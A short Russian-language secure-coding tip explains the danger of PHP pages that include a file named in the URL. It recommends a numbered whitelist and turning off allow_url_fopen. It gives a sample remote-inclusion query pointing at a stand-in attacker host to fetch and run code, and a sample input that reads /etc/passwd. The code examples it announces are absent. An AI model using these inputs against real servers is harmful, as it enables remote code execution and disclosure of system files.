Многие начинающие программисты допускают ошибку, создавая файл шаблона с верхним и нижним колонтитулами для веб-сайта и ещё один файл с содержанием страницы в URL. Например:
Затем создаются ссылки типа script.php?page=main.html. Поступать так очень опасно, потому что этот прием уязвим для целого ряда атак.
Если в файле php.ini для allow_url_fopen задано значение on, то атакующий может выполнить на сервере произвольный PHP скрипт, вызвав script.php со стракой запроса ?page=http://attack-user.com/code.txt. В результате PHP запросит code.txt с сервера атакующего, включит его в страницу и выполнит. Это одна из главных причин, по которым allow_url_fopen надо устанавливать off, если нет действительной необходимости в обратном. Другая атака, которую разрешает этот сценарий, заключается в установке для переменной $page значение /etc/passwd, что приведет к посылке файла /etc/passwd атакующему. Лучший способ защиты - не пользоваться таким приемом. Лучше присвойте номер каждой странице и создайте массив с именами файлов страниц, индексированный по их номерам. Включайте $pages[$index], как показано ниже: